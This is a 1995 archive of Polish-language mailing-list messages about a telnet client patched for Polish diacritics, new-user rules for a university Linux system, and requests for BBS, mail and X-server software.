VTLS. Aby skorzystac z tego systemu nalezy (po zainstalowaniu pakietu tak jak bylo to powyzej opisane) uruchomic go podajac jako parametr adres komputera w Bibliotece Jagiellonskiej: fridge.bj.uj.edu.pl Po zgloszeniu sie komputera (moze to chwile potrwac) nalezy postepowac zgodnie z instrukcjami pojawiajacymi sie na ekranie. Przy wyborze terminala nalezy wybrac pozycje nr 1, to jest terminal HP ze znakami w standardzie ISO-8859. Przez caly czas pracy mozna wprowadzac polskie litery (np. przy wpisywaniu nazwiska autora) korzystajac z kombinacji prawy_Alt+litera. UWAGA! System na komputerze fridge.bj.uj.edu.pl jest jeszcze ciagle w fazie testow, dlatego tez czesc uslug moze byc zablokowana, poza tym wprowadzono jak na razie tylko czesc katalogow bibliotek. Do kogo zglaszac pretensje? Autorem poprawek do telbina jestem ja sam osobiscie piszacy te slowa: Piotr -Kaz- Piatkowski, e-mail: Kompas@uci.agh.edu.pl, Uczelniane Centrum Informatyki AGH p.417, tel. (0-12) 33-76-00 wew. 28-85, Home-page: http://www.uci.agh.edu.pl/~kompas/ Wszelkie uwagi prosze zglaszac na jeden z podanych powyzej adresow (najlepiej e-mail). Autorem programu ogonki.com jest Andrzej Gorbiel, dziennikarz Gazety Wyborczej, e-mail: A.Gorbiel@Ga-Wyb.Krakow.PL Oczywiscie nie biore zadnej odpowiedzialnosci, nie daje zadnej gwarancji, etc... -------------- To tyle jezeli chodzi o plik z opisem. Wiec coz - share and joy! :-) -------------- Piotr Piatkowski, Uczelniane Centrum Informatyki, AGH Krakow, POLAND From geniwick@cyfronet.krakow.pl Mon Jan 30 08:11:49 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA02371; Mon, 30 Jan 95 08:08:58 +0100 Return-Path: Received: from kinga.cyf-kr.edu.pl (kinga.cyf-kr.edu.pl [149.156.4.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with ESMTP id IAA11942 for ; Mon, 30 Jan 1995 08:12:39 +0100 Received: from [149.156.2.26] (jacek.cyf-kr.edu.pl [149.156.2.26]) by kinga.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id IAA20909 for ; Mon, 30 Jan 1995 08:13:00 +0100 Message-Id: <199501300713.IAA20909@kinga.cyf-kr.edu.pl> X-Sender: geniwick@kinga.cyf-kr.edu.pl Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 30 Jan 1995 08:17:30 +0100 To: polip@zsku.p.lodz.pl From: geniwick@cyf-kr.edu.pl (Jacek Niwicki) Subject: Adres do Lupus > >Kiedys na liscie pojawil sie adres do kogos z PC-Kuriera. Przekopalem >wszystkie swoje archiwalne listy, adresy, etc... ale niestety - nima. >Wiec moze ktos pamieta? Najchetniej gdyby to byl adres kogos z Unix-forum, >ale moze byc ktokolwiek z redakcji... Adres do Lupusa lupus@sam.nask.com.pl Z mojego doswiadczenia wynika, ze raczej nie odpowiadaja na listy Jacek Niwicki From muhlig@usctoux1.cto.us.edu.pl Mon Jan 30 08:50:08 1995 Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA03304; Mon, 30 Jan 95 08:47:35 +0100 Return-Path: Subject: pytanie o ksiazke To: polip@zsku.p.lodz.pl Date: Mon, 30 Jan 1995 08:56:47 -0100 (MET) From: Maciek Uhlig X-Mailer: ELM [version 2.4 PL23~] Content-Type: text Content-Length: 595 Message-Id: <9501300856.aa11065@usctoux1.cto.us.edu.pl> Czy ktos z Was zna te ksiazke? Jesli tak, czy jest ona cos warta? SunSoft Press (Prentice Hall): Sun Performance and Tuning, SPARC & Solaris Adrian Cockcroft ISBN 013-149642-3 Maciek Uhlig ---------------------------------------------------------------------- Maciej UHLIG, Computer Center, Silesian University Uniwersytecka 4 St., 40-007 KATOWICE, POLAND Internet: muhlig@usctoux1.cto.us.edu.pl Voice: +48 (32) 588211 (1768) Fax: +48 (32) 596847 ***** Imagine all the people sharing all the world (John Lennon) ***** From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 30 17:20:13 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA11157; Mon, 30 Jan 95 17:17:26 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id RAA16633 for polip@zsku.p.lodz.pl; Mon, 30 Jan 1995 17:17:16 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: Mon, 30 Jan 1995 16:02:17 GMT From: mkaleta@cyf-kr.edu.pl (A.Gorbiel) Message-Id: Organization: Gazeta Wyborcza, Oddzial Katowice Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3ghgn8$bka@galaxy.uci.agh.edu.pl> Reply-To: A.Gorbiel@Ga-Wyb.Krakow.PL (Andrzej Gorbiel) Subject: Re: Telnet z ogonkami Piotr Piatkowski (kompas@uci.agh.edu.pl) wrote: : Udalo mi sie stworzyc wersje telbina ktora radzi sobie z ogonkami. : Dodalem do tego program 'ogonki' Andrzeja Gorbiela, : Autorem programu ogonki.com jest Andrzej Gorbiel, : dziennikarz Gazety Wyborczej, : e-mail: A.Gorbiel@Ga-Wyb.Krakow.PL : Oczywiscie nie biore zadnej odpowiedzialnosci, nie daje : zadnej gwarancji, etc... : Ja rowniez ;-) Ale ciesze sie, ze wreszcie KiB bedzie czesciej czytany po polsku niz po polskawemu. Apropos. Z logu gophera wynika, ze wersje KiB w Mazovii i w ISO maja praktycznie __te sama__ popularnosc - duzo mniejsza niz gole ASCII. : -------------- : Piotr Piatkowski, Uczelniane Centrum Informatyki, AGH Krakow, POLAND -- , Andrzej Gorbiel Gazeta Wyb*rcza Oddz. Katowice, (++48-32)512-130 ext.231, fax (++48-32)512-472 From kszychu@i17linuxa.ists.pwr.wroc.pl Mon Jan 30 18:31:54 1995 Received: from i17linuxa.ists.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12455; Mon, 30 Jan 95 18:27:13 +0100 Return-Path: Received: (from kszychu@localhost) by i17linuxa.ists.pwr.wroc.pl (8.6.9/8.6.9) id SAA00410 for polip@zsku.p.lodz.pl; Mon, 30 Jan 1995 18:19:49 +0100 From: Krzysztof Gozdz Message-Id: <199501301719.SAA00410@i17linuxa.ists.pwr.wroc.pl> Subject: Informacja dla nowych uzytkownikow To: polip@zsku.p.lodz.pl Date: Mon, 30 Jan 1995 18:19:45 +0100 (MET) Reply-To: kszychu@i17linuxa.ists.pwr.wroc.pl (Krzysztof Gozdz) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 4541 Kilka tygodni temu Andrzej Jarzewski , a potem Grzegorz Mielcarek prosili o podzielenie sie z nimi swoimi uwagami co do regulaminu dla uzytkownikow ich sieci lokalych z wyjsciem na Internet. Oto tekst, ktory wysylamy nowym uzytkownikom naszych systemow Linux'owych ( i ) przy zakladaniu im kont. Z racji tej musi on byc na tyle krotki, zeby uzytkownicy przeczytali go w calosci. :-) Tak wiec jedynie pokazuje problem etykiety sieciowej (do ktorej oczywiscie odsyla) oraz traktuje o sprawach lokalnych. Piszac go staralem sie, aby po malych przerobkach znalazl zastosowanie w innych wielozadaniowych i wielodostepnych systemach (UNIX, VMS, VM, NetWare) polaczonych za pomoca sieci komputerowej z calym swiatem. Udostepniam go wszystkim zainteresowanym oraz pozwalam na swobodna jego modyfikacje. W sprawie ewentualnych komentarzy, sugestii i uzupelnien, prosze pisac na moj prywatny adres, no chyba, ze podyskutujemy o tym wszyscy na liscie i wspolnie stworzymy cos lepszego. ----------------------------------------------------------------------------- Nowy uzytkowniku- Witamy Cie w naszym systemie i jednoczesnie informujemy o kilku istotnych sprawach zwiazanych z Twoja dzialalnoscia tutaj. Oto krotki i prosty regulamin obowiazujacy u nas: 1. Administratorzy maja zawsze racje. 2. Gdyby nie mieli racji - patrz punkt. 2. 3. Sprawy nie ujete powyzej rozstrzygaja administratorzy. :-) A tak na powaznie, to: Nie ma scislych regul okreslajacych zasady zachowania sie w systemie wielozadaniowym, wielodostepnym i polaczonym za pomoca sieci komputerowej z calym swiatem. Obowiazuja w nim jednak podstawowe normy dobrego wychowania. Dobrze jest wiec pamietac, ze nie jestes jedynym jego uzytkownikiem. Zwracanie sie do Ciebie per "Ty" nie jest objawem traktowania Cie z gory. W rozleglych sieciach komputerowych (prawie) wszyscy tak wlasnie postepuja. W koncu i tak na ogol nie widujemy sie, wiec stosowanie form zaleznych od wieku, wyksztalcenia, czy stanowiska nie ma wielkiego sensu. Byc moze rowniez nawyk ten pochodzi wprost z jezyka angielskiego - pierwszego i bezsprzecznie najpopularniejszego w kontaktach komputerowych. Oczywiscie mozesz tytulowac adresatow swoich listow per "Pan", nie zdziw sie jednak, gdy okaza sie oni uczniami szkoly podstawowej. [Tym bardziej po przyjeciu programu "Internet dla Szkol" ;-)] W razie jakichkolwiek problemow (nawet jesli uwazasz, ze to Ty zawiniles) zwracaj sie do adminstratorow, najlepiej poprzez poczte elektroniczna. Byc moze nie odpowiedza natychmiast (to bardzo zapracowani ludzie), jednak w przeciagu kilku dni powinienes dostac odpowiedz. Wyjatkiem sa pochwaly i nagany, na ktore administratorzy nie zawsze odpowiadaja, jednak zawsze wnikliwie je czytaja. Jesli chcesz korzystac z mozliwosci, jakie oferuje Ci siec Internet, koniecznie zapoznaj sie z zasadami zachowania sie w niej obowiazujacymi, czyli tzw. etykieta sieciowa. W tym celu mozesz - na przyklad - wywolac program 'lynx http://www.pk.edu.pl/texts/etykieta.html'. Wiadomosc, ktora wlasnie czytasz jest jedynie zasygnalizowaniem problemu oraz traktuje o sprawach specyficznych dla tego systemu. Po zalogowaniu sie na swoje konto bedziesz czasami otrzymywal komunikaty o nowych wiadomosciach od administratorow. Aby je przejrzec, uzywaj komendy 'news'. Wiecej na ten temat znajdziesz w dokumantacji do programu news - 'man news'. Na Linux'ie - w przeciwienstwie do SCO-UNIX'a - nie potrzebujesz prosic administratora, jesli chcesz zmienic swoj domyslny shell (ang. login shell) na inny. Mozesz to zrobic sam uzywajac polecenia 'chsh'. Zyczymy milej pracy! -Marek Michalkiewicz -Krzysztof Gozdz "Kszychu" ----------------------------------------------------------------------------- Acknowledgements Piszac moj regulamin zapoznalem sie z tekstem, jakim Jan Stozek - SysOp Home of PCQ BBS - wital nowych uzytkownikow w swoim BBS'ie oraz z tzw. etykieta sieciowa napisana przez Arlene H. Rinaldi z Florida Atlantic University i przetlumaczona przez Krzysztofa Snopka z Politechniki Gdanskiej. 3majcie sie! -Kszychu ///\ Name: Krzysztof Gozdz "Kszychu" C .. Study: Poland Wroclaw Technical University _\ Institute of Control and Systems Engineering \ \ E-mail: kszychu@i17linuxa.ists.pwr.wroc.pl WWW: http://www.ists.pwr.wroc.pl/~kszychu From lessta@ki.se Tue Jan 31 13:45:51 1995 Received: from ki.se by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA06491; Tue, 31 Jan 95 13:41:42 +0100 Return-Path: Received: by ki.se id AA26785 (5.67a/IDA-1.5 for polip@zsku.p.lodz.pl); Tue, 31 Jan 1995 13:52:26 +0100 Date: Tue, 31 Jan 1995 13:52:25 +0200 (METDST) From: Leszek Stawiarz cnsf Subject: Pytanie o programy BBS-owe To: polip@zsku.p.lodz.pl In-Reply-To: <398ap1$cnb@cyber.ict.pwr.wroc.pl> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Czesc, Poszukuje jakiegos programu (freeware lub shareware) do zalozenia skrzynki BBSowej na serverze Novellowym (v.3.11), lub wydzielonym PC bedacym w sieci Novellowej. Chodzi o to, aby osoby laczace sie ze skrzynka mialy dostep do roznych, wydzielonych zasobow i nie mialy mozliwosci zagladania do innych obszarow (katalogow, zdefiniowanych dyskow logicznych itp). Szukam tez programu, ktory by lokalnie rozdzielal poczte e-mailowa, splywajaca do serwera Novellowego (lub wydzielonego, stale wlaczonego/aktywnego PC w sieci) i przesylal automatycznie (lub polautomatycznie po zaloginowaniu sie, lub/i uaktywnieniu jakiegos programu) do lokalnych stacji roboczych (PC). Program zintegrowany laczacy mail server z BBS mile widziany, ze wzgledu na jeden modem i jedna linie telefoniczna. Polaczenie naszej maszyny (sieci) z serverem Internetowym opiera sie na protokole UUCP. Na serwerze "Internetowym" mamy jedno konto i dlatego chcemy rozdzielac poczte lokalnie dla wszystkich (8) uzytkownikow majacych rozne "identyfikatory" przed @ (at sign) w adresie e-mailowym. Dotychczas korzystamy z Winnetu, ktory nie potrafi dystrybuowac poczty na roznych "uzytkownikow". Czy mozna gdzies znalezc porownanie roznych programow obslugi poczty (duza tabele i artykul gdzies widzialem - chyba w Open Computing / dawny Unix World, ale nie moge jej znalezc). To samo pytanie dotyczy programow BBSowych. Wszelkie uwagi, benchmarki i propozycje dotyczace jakosci, niezawodnosci wygodnego "user interface" itp. mile widziane. Gdzie mozna znalezc teksty opisujace koncepcje i szczegoly techniczne roznych rozwiazan BBS. Czy jest jakis RQF lub FYI? Pozdrawiamy serdecznie /Leszek Stawiarz i Jerzy Dzieciaszek From RAJ@inf.wsp.krakow.pl Tue Jan 31 18:10:53 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA10731; Tue, 31 Jan 95 18:10:13 +0100 Return-Path: Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id SAA22203 for ; Tue, 31 Jan 1995 18:15:12 +0100 Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12); Tue, 31 Jan 95 18:12:39 GMT+0100 Received: from ~MAIL~ by INF (Mercury 1.12); Tue, 31 Jan 95 18:12:14 GMT+0100 From: "Jaroslaw Rafa" Organization: Zaklad Informatyki WSP, Krakow To: polip@zsku.p.lodz.pl Date: Tue, 31 Jan 1995 18:12:09 GMT+0100 Subject: Re: Adres do Lupusa Priority: normal X-Mailer: Pegasus Mail v3.21 Message-Id: > Date sent: Fri, 27 Jan 95 20:24:45 +0100 > Send reply to: polip@zsku.p.lodz.pl > From: kompas@uci.agh.edu.pl (Piotr Piatkowski) > To: sfrafa@cyf-kr.edu.pl > Subject: Adres do Lupusa > Organization: University of Mining & Metallurgy > Kiedys na liscie pojawil sie adres do kogos z PC-Kuriera. Przekopalem > wszystkie swoje archiwalne listy, adresy, etc... ale niestety - nima. > Wiec moze ktos pamieta? Najchetniej gdyby to byl adres kogos z Unix-forum, > ale moze byc ktokolwiek z redakcji... > lupus@sam.nask.com.pl Pozdrowienia, Jaroslaw Rafa sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl From RAJ@inf.wsp.krakow.pl Tue Jan 31 20:00:54 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12589; Tue, 31 Jan 95 19:59:34 +0100 Return-Path: Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id UAA23133 for ; Tue, 31 Jan 1995 20:04:35 +0100 Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12); Tue, 31 Jan 95 20:02:01 GMT+0100 Received: from ~MAIL~ by INF (Mercury 1.12); Tue, 31 Jan 95 20:01:08 GMT+0100 From: "Jaroslaw Rafa" Organization: Zaklad Informatyki WSP, Krakow To: polip@zsku.p.lodz.pl Date: Tue, 31 Jan 1995 20:01:03 GMT+0100 Subject: X serwer dla MS-Windows ? Priority: normal X-Mailer: Pegasus Mail v3.21 Message-Id: No wlasnie. Moze mi ktos dac namiary na jakis X serwer dla MS-Windows osiagalny przez ftp? (poza xwindemo.zip z Cicy, ten juz znam). Pozdrowienia, Jaroslaw Rafa sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl